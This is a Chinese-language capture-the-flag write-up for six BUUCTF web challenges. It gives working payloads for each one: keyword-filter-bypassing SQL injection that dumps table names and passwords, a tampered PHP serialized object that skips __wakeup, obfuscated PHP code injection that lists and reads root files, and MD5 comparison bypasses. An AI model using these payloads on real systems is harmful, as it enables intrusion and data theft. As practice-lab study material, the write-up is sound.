BUUCTF-WEB(15-20)
[极客大挑战 2019]BabySQL
打开题目就试了试万能密码,是不行的
推测应该做了过滤
我们密码框输入1' 1 or '1'='1试试
发现我们的or没了,union,select,where都被过滤了,应该是被替换成空字符,所以我们可以双写绕过
uunionnion sselectelect wwherehere
由于这里or被过滤了,我们无法用order用判断字段数,只能union select(以下注入都在密码框进行)
1' uunionnion sselectelect 1,2,3#
爆库名:
1' uunionnion sselectelect 1,2,database()#
爆表名:
1' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'#
爆列名:
1' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_schema='geek'aandnd table_name='b4bsql'#
爆数据:
1' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql#
[极客大挑战 2019]PHP
打开题目告诉我们网站备份了
然后我们应该dirsearch扫后台,这里可能是因为平台的原因,扫不出来的
备份文件就是 www.zip
我们访问下载,index.php发现了参数select
然后在class.php这里看怎么去反序列化
我们构造就是
new Name::__construct()->new Name::__destruct()
所以我们需要绕过__wakeup()
CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧_ctf php 反序列化漏洞-CSDN博客
攻击者可以利用这个漏洞来绕过 __wakeup() 函数中的安全检查,从而执行任意代码。攻击者可以使用 O 类型的序列化字符串来创建一个新的对象,并在其中添加任意数量的属性。然后,攻击者可以修改序列化字符串中属性的数量,使其比实际属性数量多。由于 PHP 会忽略多余的属性,攻击者可以绕过 __wakeup() 函数的安全检查,并执行恶意代码。
然后我们打开php在线(此处打印两个变量,为了方便比较数量对应的哪个数值)
构造链子后因为我们需要绕过__wakeup(),所以我们需要改一下这个数量
给我标记的地方改成三,然后复制URL编码后的序列化的数据。
payload:
?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
[ACTF2020 新生赛]BackupFile
就是备份文件,dirsearch扫描
发现了index.php.bak,下载
在PHP中:= = 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较
所以我们payload:
?key=123
[RoarCTF 2019]Easy Calc
参考:
RoarCTF 2019 - Easy Calc - ch0bits - 博客园 (cnblogs.com)
RoarCTF 2019]Easy Calc 详细题解笔记 Writeup_scandir被过滤-CSDN博客
PHP字符串解析特性 ($GET/$POST参数绕过)(含例题 buuctf easycalc)_参数解析 绕过-CSDN博客
在源码里面找到了一个文件
我们访问一下
这里我也不会了就搜了一下题解
查看根目录
?%20num=print_r(scandir(chr(47)));
查看flag
?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
[极客大挑战 2019]BuyFlag
来到买flag的地方,看一下源码
我们需要post传参,我burp抓包看一眼
条件就是我需要是cuit的学生,然后才能买,这里我注意到user=0,我们改成1试试,成功了
那我们就差个money还有password
password就用字符串绕过
POST的内容如下:
password=404a&money=1000000000
他说钱长度太多了,那我们就科学计数法
password=404a&money=1e9
[BJDCTF2020]Easy MD5
参考:
[BJDCTF2020]Easy MD5(详细)-CSDN博客
总结ctf中 MD5 绕过的一些思路_ctf md5-CSDN博客
这里打开题目,就个输入框,啥也没有
我这里也挺傻逼,我抓包也没看到hint,看wp才看到
然后意思就是后面需要真值,然后才行
答案就是需要传
ffifdyop
然后跳到新界面,然后查看源码,md5弱比较
直接传
a=QNKCDZO&b=240610708
又跳了一个界面,代码如下:
这次是===是强比较,类型,数值都得比较,那我们就数组绕过
param1[]=1¶m2[]=2